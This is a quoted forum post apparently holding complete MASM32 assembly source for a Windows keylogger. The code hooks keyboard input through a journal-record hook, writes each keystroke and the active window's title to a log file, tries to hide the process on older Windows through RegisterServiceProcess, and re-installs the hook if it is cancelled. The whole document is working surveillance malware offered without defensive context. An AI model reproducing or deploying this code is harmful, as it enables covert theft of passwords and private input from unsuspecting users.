Quote:
.486
.model flat, stdcall
.nolist
include C:\masm32\include\kernel32.inc
include C:\masm32\include\windows.inc
include C:\masm32\include\user32.inc
include C:\masm32\include\wininet.inc
include C:\masm32\include\advapi32.inc
include c:\masm32\include\masm32.inc
.list
includelib C:\masm32\lib\kernel32.lib
includelib C:\masm32\lib\user32.lib
includelib C:\masm32\lib\wininet.lib
includelib C:\masm32\lib\advapi32.lib
includelib c:\masm32\lib\masm32.lib
JournalLogHook PROTO :DWORD, :DWORD, :DWORD
.data
bracket1 db "<"
bracket2 db ">"
linefeed db 13,10,13,10,"[> %s <]",13,10,0;
isLogging dd 1
vKey dd 0
nScan dd 0
dwCount dd 0
schar db 2 dup (0)
logfileN db "log.txt", 16 dup(0)
kernel_name db "kernel32.dll", 0
kernel_function db "RegisterServiceProcess", 0
.data?
logfile db 261 dup (?)
hinstance HINSTANCE ?
aMsg MSG <?>
LogHook dd ?
svBuffer dword ?
kBuffer db 256 dup (?)
kFwin db 256 dup (?)
kGkl db 256 dup (?)
wBuffer db 512 dup (?)
chcount dd ?
dwBytes dd ?
aFocus dd ?
lFocus dd ?
lastvKey dd ?
.code
JournalLogHook proc uses edi code:DWORD, wParam:WPARAM, lParam:LPARAM
LOCAL filehandle:dword
.if code < 0
invoke CallNextHookEx, LogHook, code, wParam, lParam
ret
.endif
.if code == HC_ACTION
mov edi, lParam
assume edi:ptr EVENTMSG
.if [edi].message == WM_KEYDOWN
mov eax, [edi].paramL
mov ah, 0
mov vKey, eax
mov eax, [edi].paramL
mov al, 0
shl eax, 8
mov nScan, eax
invoke CreateFile, addr logfileN,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
mov filehandle, eax
invoke SetFilePointer, filehandle,NULL, NULL, FILE_END
invoke GetKeyNameText, nScan,addr svBuffer, 256
mov dwCount, eax
invoke GetActiveWindow
mov aFocus, eax
.if eax != lFocus
mov lFocus, eax
invoke GetWindowText, aFocus, addr kBuffer, 256
mov chcount, eax
.if chcount > 0
invoke wsprintf, addr wBuffer, addr linefeed, addr kBuffer
invoke lstrlen, addr wBuffer
mov chcount, eax
invoke WriteFile, filehandle, addr wBuffer, chcount, addr dwBytes, NULL
.endif
.endif
.if dwCount > 0
.if vKey == VK_SPACE
mov svBuffer, 32
mov svBuffer + 1, 0
mov dwCount, 1
.endif
.if vKey == VK_CAPITAL
mov svBuffer,0
mov dwCount,1
.endif
.if vKey == VK_SHIFT
mov svBuffer,0
mov dwCount,1
.endif
.if dwCount == 1
.if lastvKey != 186
invoke GetKeyboardState, addr kBuffer
invoke GetForegroundWindow
invoke GetWindowThreadProcessId,eax,0
invoke GetKeyboardLayout ,eax;
invoke ToAsciiEx, vKey, nScan, addr kBuffer, addr schar, 0 ,eax ;| Ex Method .....
mov chcount, eax
.else
mov chcount, 1
mov eax, vKey
mov schar, al
.endif
.if chcount > 0
invoke WriteFile, filehandle, addr schar, chcount, addr dwBytes, NULL
.endif
.else
invoke WriteFile, filehandle, addr bracket1, 1, addr dwBytes, NULL
invoke WriteFile, filehandle, addr svBuffer, dwCount, addr dwBytes, NULL
invoke WriteFile, filehandle, addr bracket2, 1, addr dwBytes, NULL
.if vKey == VK_RETURN
invoke WriteFile, filehandle, addr linefeed, 2, addr dwBytes, NULL
.endif
.endif
mov eax, vKey
mov lastvKey, eax
.endif
invoke CloseHandle, filehandle
.endif
.endif
invoke CallNextHookEx, LogHook, code, wParam, lParam
ret
JournalLogHook endp
start:
;try to hide in non NT enviroment
invoke GetModuleHandle, ADDR kernel_name
invoke GetProcAddress, eax, ADDR kernel_function
.if eax != NULL
push 1
push 0
call eax
.endif
invoke GetModuleHandle, NULL
mov hinstance, eax
invoke SetWindowsHookEx, WH_JOURNALRECORD,addr JournalLogHook,hinstance, NULL
mov LogHook, eax
.while isLogging == 1
invoke WaitMessage
invoke GetMessage, addr aMsg, NULL, 0, 0
.if aMsg.message == WM_CANCELJOURNAL
mov edi, offset kBuffer
mov ecx, 64
xor eax, eax
rep stosd
invoke SetKeyboardState, addr kBuffer
invoke SetWindowsHookEx, WH_JOURNALRECORD,addr JournalLogHook,hinstance, NULL
mov LogHook, eax
.endif
.endw
invoke UnhookWindowsHookEx,addr LogHook
invoke ExitProcess, 0
end start
[/b]
